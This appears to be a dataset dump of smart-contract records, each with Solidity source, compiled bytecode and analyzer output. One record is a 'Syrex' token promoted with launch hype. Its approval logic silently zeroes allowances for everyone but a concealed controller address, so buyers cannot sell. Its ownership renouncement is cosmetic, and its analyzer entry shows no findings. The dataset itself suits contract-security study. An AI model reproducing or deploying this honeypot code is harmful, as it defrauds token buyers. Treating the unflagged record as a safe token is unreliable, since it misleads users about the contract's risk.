return depositsByWithdrawalAddress[_withdrawalAddress];
}
/* Turn Premium Feature ON or OFF */
function turnPremiumFeature() public onlyOwner returns (bool success) {
if (premium) {
premium = false;
} else {
premium = true;
}
return true;
}
/* View BNB Balance */
function bnbBalance() public view returns (uint256){
return address(this).balance;
}
/* Update fee Rate with respect to $ */
function updateFeeRate(int _feerate) public onlyOwner returns (bool success){
feerate = _feerate;
return true;
}
/* Only Recieve Token for Lock */
receive() payable external {
payable(owner).transfer(msg.value);
}
}
|
0x60806040526004361061016a5760003560e01c80638da5cb5b116100d1578063beebd35a1161008a578063d013cbe211610064578063d013cbe214610545578063e0a73a9314610558578063ef97f9e614610572578063f2fde38b1461059257600080fd5b8063beebd35a146104d0578063c8198b36146104f5578063c9028aff1461052557600080fd5b80638da5cb5b146103bb5780638e15f473146103f35780639852099c14610408578063adad19bd1461041e578063b9e7df1c1461043e578063bb941cff1461047657600080fd5b8063530680d811610123578063530680d8146102ac5780636ba03924146102cc57806376704de0146102e15780637d533c1e146103015780637f7a73a314610314578063890db72f1461032957600080fd5b806303a29adf146101b15780630bd59ad3146101d75780631b73a42414610204578063315a095d14610224578063347c80ba146102465780634c5f7f541461028c57600080fd5b366101ac57600080546040516001600160a01b03909116913480156108fc02929091818181858888f193505050501580156101a9573d6000803e3d6000fd5b50005b600080fd5b6101c46101bf366004611829565b6105b2565b6040519081526020015b60405180910390f35b3480156101e357600080fd5b506101f76101f23660046118ae565b61097b565b6040516101ce91906118c9565b34801561021057600080fd5b506101c461021f36600461190d565b6109e7565b34801561023057600080fd5b5061024461023f36600461190d565b610a02565b005b34801561025257600080fd5b506101c4610261366004611926565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561029857600080fd5b506102446102a7366004611959565b610d35565b3480156102b857600080fd5b506101c46102c736600461197c565b610ff0565b3480156102d857600080fd5b506101f7611021565b3480156102ed57600080fd5b506102446102fc3660046119a6565b611079565b6101c461030f3660046119c8565b611102565b34801561032057600080fd5b506101c4611462565b34801561033557600080fd5b5061038661034436600461190d565b6000908152600460208190526040909120805460018201546002830154600384015493909401546001600160a01b03928316959290911693929160ff90911690565b604080516001600160a01b0396871681529590941660208601529284019190915260608301521515608082015260a0016101ce565b3480156103c757600080fd5b506000546103db906001600160a01b031681565b6040516001600160a01b0390911681526020016101ce565b3480156103ff57600080fd5b506101c4611505565b34801561041457600080fd5b506101c460015481565b34801561042a57600080fd5b506101c46104393660046118ae565b611599565b34801561044a57600080fd5b506101c4610459366004611926565b600560209081526000928352604080842090915290825290205481565b34801561048257600080fd5b5061038661049136600461190d565b6004602081905260009182526040909120805460018201546002830154600384015493909401546001600160a01b039283169492909116929060ff1685565b3480156104dc57600080fd5b506104e5611613565b60405190151581526020016101ce565b34801561050157600080fd5b506104e56105103660046118ae565b60066020526000908152604090205460ff1681565b34801561053157600080fd5b506101c461054036600461190d565b611659565b34801561055157600080fd5b50476101c4565b34801561056457600080fd5b506007546104e59060ff1681565b34801561057e57600080fd5b506104e561058d36600461190d565b61167a565b34801561059e57600080fd5b506102446105ad3660046118ae565b6116a0565b6000808351116105c157600080fd5b81518351146105cf57600080fd5b600083516105db611462565b6105e59190611a20565b60075490915060ff16156106ab576001600160a01b03851660009081526006602052604090205460ff166106ab578034101561065e5760405162461bcd60e51b815260206004820152601360248201527214de5cdd195b481199594814995c5d5a5c9959606a1b60448201526064015b60405180910390fd5b600080546040516001600160a01b03909116913480156108fc02929091818181858888f19350505050158015610698573d6000803e3d6000fd5b50346009546106a79190611a3f565b6009555b60005b84518110156109715760008582815181106106cb576106cb611a57565b6020026020010151116106dd57600080fd5b6402540be4008482815181106106f5576106f5611a57565b60200260200101511061070757600080fd5b61075485828151811061071c5761071c611a57565b6020908102919091018101516001600160a01b03808b166000908152600584526040808220928c168252919093529091205490611725565b6001600160a01b038089166000908152600560209081526040808320938b168352929052908120919091556001805490919061078f90611a6d565b9182905550600081815260046020526040902080546001600160a01b03808b166001600160a01b031992831617835560019092018054928a169290911691909117905585519093508590829081106107e9576107e9611a57565b6020026020010151600460008581526020019081526020016000206002018190555083818151811061081d5761081d611a57565b602090810291909101810151600085815260048084526040808320600380820195909555909101805460ff191690556002805460018181019092557f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace018890556001600160a01b03808c1684529385529082208054918201815582529290209091018490558551908816906323b872dd90339030908990869081106108c4576108c4611a57565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401602060405180830381600087803b15801561091e57600080fd5b505af1158015610932573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109569190611a88565b61095f57600080fd5b8061096981611a6d565b9150506106ae565b5050949350505050565b6001600160a01b0381166000908152600360209081526040918290208054835181840281018401909452808452606093928301828280156109db57602002820191906000526020600020905b8154815260200190600101908083116109c7575b50505050509050919050565b6000816109f2611462565b6109fc9190611a20565b92915050565b600081815260046020526040902060030154421015610a2057600080fd5b6000818152600460205260409020600101546001600160a01b03163314610a4657600080fd5b6000818152600460208190526040909120015460ff1615610a6657600080fd5b6000818152600460208181526040808420928301805460ff19166001179055600283015492546001600160a01b031684526005825280842033855290915290912054610ab191611748565b600082815260046020908152604080832080546001600160a01b0390811685526005845282852033865284528285209590955560010154909316825260039052908120545b80821015610c40576000838152600460209081526040808320600101546001600160a01b0316835260039091529020805484919084908110610b3a57610b3a611a57565b90600052602060002001541415610c2e5760008381526004602090815260408083206001908101546001600160a01b03168452600390925290912090610b809083611aaa565b81548110610b9057610b90611a57565b6000918252602080832090910154858352600482526040808420600101546001600160a01b0316845260039092529120805484908110610bd257610bd2611a57565b6000918252602080832090910192909255848152600482526040808220600101546001600160a01b03168252600390925220805480610c1357610c13611ac1565b60019003818190600052602060002001600090559055610c40565b81610c3881611a6d565b925050610af6565b6000838152600460208190526040918290208054600290910154925163a9059cbb60e01b8152339281019290925260248201929092526001600160a01b039091169063a9059cbb90604401602060405180830381600087803b158015610ca557600080fd5b505af1158015610cb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cdd9190611a88565b610ce657600080fd5b600083815260046020908152604091829020600201548251338152918201527fb4214c8c54fc7442f36d3682f59aebaf09358a4431835b30efb29d52cf9e1e91910160405180910390a1505050565b6000828152600460208190526040909120015460ff1615610d5557600080fd5b6000828152600460205260409020600101546001600160a01b03163314610d7b57600080fd5b6000828152600460209081526040808320600281015490546001600160a01b031684526005835281842033855290925290912054610db891611748565b600083815260046020908152604080832080546001600160a01b03908116855260058085528386203387528552838620969096556002820154915481168552948352818420948616845293909152902054610e1291611725565b600083815260046020908152604080832080546001600160a01b03908116855260058452828520878216865284528285209590955560010154909316825260039052908120545b80821015610fa3576000848152600460209081526040808320600101546001600160a01b0316835260039091529020805485919084908110610e9d57610e9d611a57565b90600052602060002001541415610f915760008481526004602090815260408083206001908101546001600160a01b03168452600390925290912090610ee39083611aaa565b81548110610ef357610ef3611a57565b6000918252602080832090910154868352600482526040808420600101546001600160a01b0316845260039092529120805484908110610f3557610f35611a57565b6000918252602080832090910192909255858152600482526040808220600101546001600160a01b03168252600390925220805480610f7657610f76611ac1565b60019003818190600052602060002001600090559055610fa3565b81610f9b81611a6d565b925050610e59565b50506000828152600460209081526040808320600190810180546001600160a01b039096166001600160a01b03199096168617905593835260038252822080549384018155825290200155565b6003602052816000526040600020818154811061100c57600080fd5b90600052602060002001600091509150505481565b6060600280548060200260200160405190810160405280929190818152602001828054801561106f57602002820191906000526020600020905b81548152602001906001019080831161105b575b5050505050905090565b6402540be400811061108a57600080fd5b60008281526004602052604090206003015481116110a757600080fd5b6000828152600460208190526040909120015460ff16156110c757600080fd5b6000828152600460205260409020600101546001600160a01b031633146110ed57600080fd5b60009182526004602052604090912060030155565b600080831161111057600080fd5b6402540be400821061112157600080fd5b600061112b611462565b60075490915060ff16156111ec576001600160a01b03851660009081526006602052604090205460ff166111ec578034101561119f5760405162461bcd60e51b815260206004820152601360248201527214de5cdd195b481199594814995c5d5a5c9959606a1b6044820152606401610655565b600080546040516001600160a01b03909116913480156108fc02929091818181858888f193505050501580156111d9573d6000803e3d6000fd5b50346009546111e89190611a3f565b6009555b6001600160a01b0380871660009081526005602090815260408083209389168352929052205461121c9085611725565b6001600160a01b038088166000908152600560209081526040808320938a168352929052908120919091556001805490919061125790611a6d565b9190508190559150856004600084815260200190815260200160002060000160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550846004600084815260200190815260200160002060010160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555083600460008481526020019081526020016000206002018190555082600460008481526020019081526020016000206003018190555060006004600084815260200190815260200160002060040160006101000a81548160ff021916908315150217905550600282908060018154018082558091505060019003906000526020600020016000909190919091505560036000866001600160a01b03166001600160a01b03168152602001908152602001600020829080600181540180825580915050600190039060005260206000200160009091909190915055856001600160a01b03166323b872dd3330876040518463ffffffff1660e01b81526004016113fe939291906001600160a01b039384168152919092166020820152604081019190915260600190565b602060405180830381600087803b15801561141857600080fd5b505af115801561142c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114509190611a88565b61145957600080fd5b50949350505050565b600080600a60009054906101000a90046001600160a01b03166001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b1580156114b357600080fd5b505afa1580156114c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114eb9190611af1565b505050915050600854816114ff9190611b41565b91505090565b600080600a60009054906101000a90046001600160a01b03166001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b15801561155657600080fd5b505afa15801561156a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158e9190611af1565b509195945050505050565b6040516370a0823160e01b81523060048201526000906001600160a01b038316906370a082319060240160206040518083038186803b1580156115db57600080fd5b505afa1580156115ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fc9190611bc6565b600080546001600160a01b0316331461162b57600080fd5b60075460ff1615611645576007805460ff19169055611653565b6007805460ff191660011790555b50600190565b6002818154811061166957600080fd5b600091825260209091200154905081565b600080546001600160a01b0316331461169257600080fd5b50600881905560015b919050565b6000546001600160a01b031633146116b757600080fd5b6001600160a01b0381166116ca57600080fd5b600080546040516001600160a01b03808516939216917f2e3feca4334579203cd183fe1ced9524940047e5586fe13e8cc5dd1babaf6e8291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000806117328385611a3f565b90508381101561174157600080fd5b9392505050565b60008282111561175757600080fd5b6117418284611aaa565b80356001600160a01b038116811461169b57600080fd5b634e487b7160e01b600052604160045260246000fd5b600082601f83011261179f57600080fd5b8135602067ffffffffffffffff808311156117bc576117bc611778565b8260051b604051601f19603f830116810181811084821117156117e1576117e1611778565b6040529384528581018301938381019250878511156117ff57600080fd5b83870191505b8482101561181e57813583529183019190830190611805565b979650505050505050565b6000806000806080858703121561183f57600080fd5b61184885611761565b935061185660208601611761565b9250604085013567ffffffffffffffff8082111561187357600080fd5b61187f8883890161178e565b9350606087013591508082111561189557600080fd5b506118a28782880161178e565b91505092959194509250565b6000602082840312156118c057600080fd5b61174182611761565b6020808252825182820181905260009190848201906040850190845b81811015611901578351835292840192918401916001016118e5565b50909695505050505050565b60006020828403121561191f57600080fd5b5035919050565b6000806040838503121561193957600080fd5b61194283611761565b915061195060208401611761565b90509250929050565b6000806040838503121561196c57600080fd5b8235915061195060208401611761565b6000806040838503121561198f57600080fd5b61199883611761565b946020939093013593505050565b600080604083850312156119b957600080fd5b50508035926020909101359150565b600080600080608085870312156119de57600080fd5b6119e785611761565b93506119f560208601611761565b93969395505050506040820135916060013590565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611a3a57611a3a611a0a565b500290565b60008219821115611a5257611a52611a0a565b500190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611a8157611a81611a0a565b5060010190565b600060208284031215611a9a57600080fd5b8151801515811461174157600080fd5b600082821015611abc57611abc611a0a565b500390565b634e487b7160e01b600052603160045260246000fd5b805169ffffffffffffffffffff8116811461169b57600080fd5b600080600080600060a08688031215611b0957600080fd5b611b1286611ad7565b9450602086015193506040860151925060608601519150611b3560808701611ad7565b90509295509295909350565b60006001600160ff1b0381841382841380821686840486111615611b6757611b67611a0a565b600160ff1b6000871282811687830589121615611b8657611b86611a0a565b60008712925087820587128484161615611ba257611ba2611a0a565b87850587128184161615611bb857611bb8611a0a565b505050929093029392505050565b600060208284031215611bd857600080fd5b505191905056fea2646970667358221220a19dec0bfc88a54ba2c83440c38ec301c8fd916e014363c6bf283d6a9d55355164736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
| 8,726 |
0x1615f25c9931fc1e3ca5f1852fcbdd9c1be6de9e
|
/**
*Submitted for verification at Etherscan.io on 2021-12-12
*/
/**
🥶SYREX🥶
🚀BIG UPCOMING LAUNCH🚀
SAIYANS THIS A CANT MISS LAUNCH!
Batman has been rebranded and is set to release as SYREX! We know how hard Batman ran Saiyans..With a based team behind this and a strong community in place this is looking like a hyped launch.
GET IN THERE NOW SO YOU DONT MISS THE RELAUNCH!
TEAMS GOT SO MUCH STUFF COMING WITH THE LAUNCH!
I REPEAT DO NOT MISS THIS NEXT VEGGIE ALPHA!
Website : https://syrex.network/
Discord: https://discord.com/invite/dQnUrnTzvk
Twitter: https://twitter.com/syrex_official
Medium: https://medium.com/@syrexofficial
Telegram: https://t.me/SyrexOfficial
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Syrex is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 75* 10**9* 10**18;
string private _name = 'Syrex' ;
string private _symbol = 'SRX ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212207042b69492e89ac636d468aecbbb218c939597068d3748744f4f4d2fc394918564736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,727 |
0xe8f2d9151ddd655392d0559982d49b2603215eeb
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
